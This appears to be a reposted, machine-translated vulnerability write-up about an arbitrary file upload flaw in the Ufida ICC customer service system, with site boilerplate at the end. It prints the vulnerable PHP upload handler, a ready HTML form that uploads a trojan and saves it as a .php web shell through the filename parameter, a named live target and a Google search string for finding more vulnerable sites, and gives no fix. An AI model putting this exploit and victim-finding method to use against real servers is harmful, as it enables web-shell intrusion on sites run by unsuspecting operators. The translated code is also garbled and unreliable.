Ufida icc website customer service system Arbitrary File Upload Vulnerability

Source: Internet
Author: User

Another File Upload Vulnerability in the customer service system of the ufida icc website looked at the previous vulnerability: http://www.bkjia.com/article/201204/425159.html, and found that the vulnerability still exists.
I don't know if the upgrade is not completed yet or if there are any problems, but there are vulnerabilities in multiple websites.
 
/Home/ecccs/web/5107/upload/screenImagesSave. php (related uploads are also available)
 
 
<? Php
/**
* ScreenImagesSave. php
*
*/
Require_once ('../global. inc. php ');
 
// Get request.
$ Ft = intval ($ _ REQUEST ['ft ']);
 
/*
Chdir ($ CONFIG ["canned_file_tmp"]);
Exec ("rm-rf *");
*/
 
$ Date = date ("Ymd ");
$ Dest = $ CONFIG-> basePath. 'data/files/'. $ date ."/";
If (! Is_dir ($ dest) mkdir ($ dest, 0777 );
 
$ Filename = paramsFmt (urldecode ($ _ GET ["filename"]);
 
$ NameExt = strtolower ($ COMMON-> getFileExtName ($ _ FILES ['file'] ['name']);
 
$ UnallowedType = array ('php', 'jsp ', 'asp', 'sh', 'pl ', 'js', 'jar', 'jad ', 'class', 'java ');
If (in_array ($ nameExt, $ unallowedType )){
If ($ ft = '1 '){
Echo 'pe ';
} Else if ($ ft = '2 '){
Echo 'fe ';
}
Exit;
}
 
/* Www.2cto.com
If (empty ($ filename) $ filename = date ("Ymdhms"). "_ noname. file ";
Echo $ date. "/". $ filename;
*/
 
$ FilenameNew = $ dest. $ filename;
 
If (empty ($ _ FILES ["file"] ['error']) {
Move_uploaded_file ($ _ FILES ["file"] ["tmp_name"], $ filenameNew );
}
 
If (file_exists ($ filenameNew )){
Echo (urlencode ($ CONFIG-> baseUrl. 'data/files/'. $ date. "/". $ filename ));
@ Chmod ($ filenameNew, 0444 );
} Else {
If ($ ft = '1 '){
Echo 'pe ';
} Else if ($ ft = '2 '){
Echo 'fe ';
}
}
?>
 
 
Note that filename does not exist? The type of the file to be uploaded is verified, but the saved file name is the filename GET parameter. Dizzy ..
 
<Form id = "QuickSearch" name = "QuickSearch" enctype = "multipart/form-data" method = "post" action = "http://xxx.xxxx.com/5107/upload/screenImagesSave.php? Filename = xx. php ">
<Input type = "file" name = "file">
<Input type = "submit" name = "QuickSearchBtn" value = "Upload">
</Form>
 
Upload a jpg Trojan file, that is, the trojan File Uploaded successfully as xx. php.
Tested:
Http://icc.5107.cn/
And Google Search
And so on.
 
Search:
Https://www.google.com/search? Q = inurl:/5107/upload. php & hl = en & noj = 1 & prmd = imvns & ei = e12mt4ug?ji=7ofnhaw & start = 10 & sa = N & filter = 0 & biw = 1366 & bih = 618

 
 
Solution:

Should Know!



Author: Jannock

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.